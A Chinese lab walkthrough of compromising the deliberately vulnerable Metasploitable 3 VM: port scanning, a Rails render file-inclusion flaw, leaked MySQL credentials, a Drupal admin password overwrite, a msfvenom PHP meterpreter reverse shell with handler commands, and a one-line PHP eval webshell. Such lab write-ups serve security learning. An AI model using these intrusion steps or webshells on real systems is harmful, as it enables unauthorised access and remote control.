Metasploitable 3--Intro

实验环境

  • 主机:kali linux(192.168.123.186)
  • 目标机器:Metasploitable 3(ub1404)
  • 网络环境:同网段局域网

首先使用nmap工具进行主机发现 nmap -sn 192.168.123.0/24,找到目标机器的ip地址(因实验环境的特殊性,所以可以直接通过nmap检测到的虚拟机标识来判断目标机器)

Nmap scan report for ubuntu.lan (192.168.123.23)
Host is up (0.00035s latency).
MAC Address: 08:00:27:AD:6F:27 (Oracle VirtualBox virtual NIC)

再使用TCP全连接进行全端口详细扫描nmap -sT -sV -p 1-65535 192.168.123.23,扫描过程耗时较长,出于隐蔽性可以选择使用-sS参数(SYN扫描)替换-sT参数(全连接扫描)

root@kali:~# nmap -sT -sV -p 1-65535 192.168.123.23
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 16:30 CST
Nmap scan report for ubuntu.lan (192.168.123.23)
Host is up (0.00056s latency).
Not shown: 65525 filtered ports
PORT     STATE  SERVICE     VERSION
21/tcp   closed ftp
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7 ((Ubuntu))
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
3500/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
6697/tcp open   irc         UnrealIRCd
8181/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
MAC Address: 08:00:27:AD:6F:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: UBUNTU, irc.TestIRC.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.77 seconds

发现其开放了80端口,直接访问目标ip,得到一个文件目录

80端口

检查过后,仅发现payroll_app.php路径存在可能的注入点(尝试注入失败),逐一访问其他的端口在端口3500一个基于Ruby的web服务WEBrick的首页中发现了一个路径config

WEBrick

访问之后提示无效路径/config,但报错界面返回了一个有趣的路由表,此处仅截取返回的路由表

Routes

这里直接访问/readme路径,访问成功!我访问的版本是ub1404,此处点击ubuntu图标

image.png

进入新的页面发现它有个有趣的url http://192.168.123.23:3500/readme?os=linux,随机传入一个os的值后得到一个报错的debug界面

Template is missing

从这个界面的报错代码中可以看出通过传入的os确定一个模板,然后通过调用render函数来渲染。关于render的详细信息可以浏览https://apidock.com/rails/ActionController/Base/render,这里截取所需的部分

render a template

到此可以联想到既然render可以调用一个本地文件,那么它是否可以用于访问目标机器上的任意文件。再回到之前访问80端口获取的目录,通过此处的os参数来访问80端口的目录下的文件,这里以猜测存在注入的payroll_app.php文件测试(apache httpd的默认路径是/var/www/html/)。果然它是存在本地文件包含漏洞的,通过分析网页源码发现一条比较有价值的信息$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');,但从源码中的其他信息可以拼凑出sql查询的执行函数(未发现过滤)。

此处贴出拼凑出的代码供参考

$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
if ($conn--->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
if (!isset($_POST['s'])) {
if($_POST['s']){
    $user = $_POST['user'];
    $pass = $_POST['password'];
    $sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";

    if ($conn--->multi_query($sql)) {
        do {
            /* store first result set */
            echo "";
            echo "";
            echo "";
            echo "";
            if ($result = $conn->store_result()) {
                while ($row = $result->fetch_assoc()) {
                    $keys = array_keys($row);
                    echo "";
                    foreach ($keys as $key) {
                        echo "";
                    }
                    echo "\n";
                }
                $result->free();
            }
            if (!$conn->more_results()) {
                echo "" . $row[$key] . "";
            }
        } while ($conn->next_result());
    }
}
} /* 最后这个大括号是我补上的,为了闭合,源码中不存在 */

可能代码不全,也可能本人水平有限此处并未成功注入。但是结合其中发现的数据库的账户和密码可以用来登录phpMyAdmin,(至于原因,本人也在查阅相关资料得知phpMyAdmin是一个以php为基础的mysql管理工具)。从phpMyAdmin中可以看到两个自建的数据库,payroll(里面没有任何有价值的信息,全是一些随机值),drupal(一个开源的内容管理系统)。

如果访问过80端口下的drupal路径的话,可以看到一个登陆页面。在数据库中也可以看到drupal下有一个user表,里面仅存有一个账户,但是密码部分是经过hash处理以后存入数据库的。我们能够访问和修改数据库,也就意味着可以修改数据库中的密码为已知的hash值

user表,从pass的描述中可以看到hashed

那么顺着思路,如何修改密码可以直接百度。(ps:至于为什么是durpal7,我也不清楚,但网上搜索基本上都是修改durpal7的教程,所以这里便直接参照教程尝试)。此处贴出password对应的hash

$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

(我的水平仅能支撑我走到着了……再往后我不知道我该怎么做了QAQ)

最终还是看了大神的Write Up……原来在drupal中有模块用于过滤php code

PHP filter

勾选以后创建一个article(注:编辑里Text format必须设置为PHP code否则无法执行)

PHP code

使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.123.186,来创建一个reverse tcp webshell,同时启用msfconsole

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.123.186
msf exploit(multi/handler) > exploit

使用msf执行完以上命令以后,将之前命令生成的webshell复制到创建的article中

Webshell

点击保存以后再看msf就发现已经获取到了目标主机的shell

msf

(注:如果不想借助msf中大量的payload带来的便利,可以使用一句话木马<?php eval($_POST["cmd"]);?>)

连接目标主机的准备已完成,接下来就开始寻找flag!

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,802评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,109评论 2 379
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,683评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,458评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,452评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,505评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,901评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,550评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,763评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,556评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,629评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,330评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,898评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,897评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,140评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,807评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,339评论 2 342

推荐阅读更多精彩内容